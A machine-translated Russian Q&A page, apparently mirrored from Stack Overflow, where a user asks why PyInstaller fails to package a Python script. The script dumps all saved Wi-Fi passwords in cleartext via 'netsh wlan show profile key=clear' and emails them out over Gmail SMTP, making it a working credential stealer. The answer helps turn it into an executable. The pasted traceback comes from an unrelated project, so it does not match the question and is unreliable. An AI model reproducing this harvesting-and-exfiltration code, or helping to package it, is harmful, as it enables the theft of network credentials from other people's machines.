Как сделать скрипт python исполняемым - PullRequest
0 голосов
/ 26 мая 2020

Я пытаюсь сделать простой python исполняемый файл.
Пробовал на python 3 и python 2.7, скачал winpy32, пробовал на Linux и windows, пробовал py- to-exe и pyinstaller. и я все еще получаю эту ошибку:

raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error:

вот мой код:

import subprocess
import smtplib
from smtplib import *
import re

command1 = "netsh wlan show profile"
networks = subprocess.check_output(command1, shell=True)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())

final_output = ""
for network in network_list:
    command2 = "netsh wlan show profile " + network + " key=clear"
    a_network_result = subprocess.check_output(command2, shell=True)
    final_output += a_network_result.decode()

final_output = str(final_output)


fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output

msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )

username = str('MyEmail')
password = str('MyPasswd')

#try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(username, password)
server.sendmail(fromMy, to, msg)
server.quit()

вот полный след =

79702 DEBUG: Analyzing .git\objects\78\e83411cea88cd038acb12c005a984fc0d6d423
Traceback (most recent call last):
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\pywintypes.py", line 35, in pywin32error
    yield
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\win32api.py", line 43, in LoadLibraryEx
    return _dll._LoadLibraryEx(fileName, 0, flags)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\core\ctypes\_util.py", line 42, in check_null
    raise make_error(function, function_name)
OSError: [WinError 2] The system cannot find the file specified.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:/Users/User1/Dropbox/GitHub_Repos/DiabetesReportGenerator_v2/pyinstaller_freeze.py", line 37, in <module>
    'MainWindow.py'
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\__main__.py", line 112, in run
    run_build(pyi_config, spec_file, **vars(args))
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\__main__.py", line 63, in run_build
    PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 732, in main
    build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build'))
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 679, in build
    exec(code, spec_namespace)
  File "C:\Users\User1\Dropbox\GitHub_Repos\DiabetesReportGenerator_v2\Risk Calculator.spec", line 17, in <module>
    noarchive=False)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 242, in __init__
    self.__postinit__()
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\datastruct.py", line 158, in __postinit__
    self.assemble()
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 468, in assemble
    redirects=self.binding_redirects))
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 226, in Dependencies
    for ftocnm, fn in getAssemblyFiles(pth, manifest, redirects):
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 402, in getAssemblyFiles
    for assembly in getAssemblies(pth):
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 353, in getAssemblies
    res = GetManifestResources(pth)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\utils\win32\winmanifest.py", line 1005, in GetManifestResources
    return winresource.GetResources(filename, [RT_MANIFEST], names, languages)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\utils\win32\winresource.py", line 168, in GetResources
    hsrc = win32api.LoadLibraryEx(filename, 0, LOAD_LIBRARY_AS_DATAFILE)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\win32api.py", line 43, in LoadLibraryEx
    return _dll._LoadLibraryEx(fileName, 0, flags)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\contextlib.py", line 130, in __exit__
    self.gen.throw(type, value, traceback)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\pywintypes.py", line 37, in pywin32error
    raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error: (2, 'LoadLibraryExW', 'The system cannot find the file specified.')

может что-то не так с моей ОС? любая помощь приветствуется :)

1 Ответ

0 голосов
/ 26 мая 2020

В вашем коде есть не связанные с этим проблемы. Я немного изменил его, и pyinstaller работает должным образом

import subprocess
import smtplib
#from smtplib import *  Here you try to import smtplib again
#import re

# Not needed for this example
    # command1 = "netsh wlan show profile"
    # networks = subprocess.check_output(command1, shell=True)
    # network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())
    #
    # final_output = ""
    # for network in network_list:
    #     command2 = "netsh wlan show profile " + network + " key=clear"
    #     a_network_result = subprocess.check_output(command2, shell=True)
    #     final_output += a_network_result.decode()
#
final_output = 'cmd output' # Simulate the cmd output you want emailed


fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output

msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )

# Use regular strings in the variables python implicitly types them
username = 'MyEmail'
password = 'MyPasswd'

try: # Will always fail without real credentials   
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(username, password)
    server.sendmail(fromMy, to, msg)
    server.quit()

except smtplib.SMTPAuthenticationError:
    print("The username or password were incorrect")

Работает у меня под windows как python 3,7 и 3,8

Скопируйте мой код, затем запустите pyinstaller <script name>.py и посмотрите, возникает ли та же ошибка снова.

примечание : вам нужно запустить <script name>.exe с терминала по пути dist\<script name>, а не build\<script name>

изменить

Дополнительные действия по устранению неполадок:

  • Попробуйте python с с сайта python не в магазине Microsoft
  • Попробуйте другую среду (если вы использовали venv или virtualenv, попробуйте системный интерпретатор)
  • Отладьте свой скрипт и убедитесь, что он может быть запущен python, прежде чем пытаться упаковать его с помощью pyinstaller
...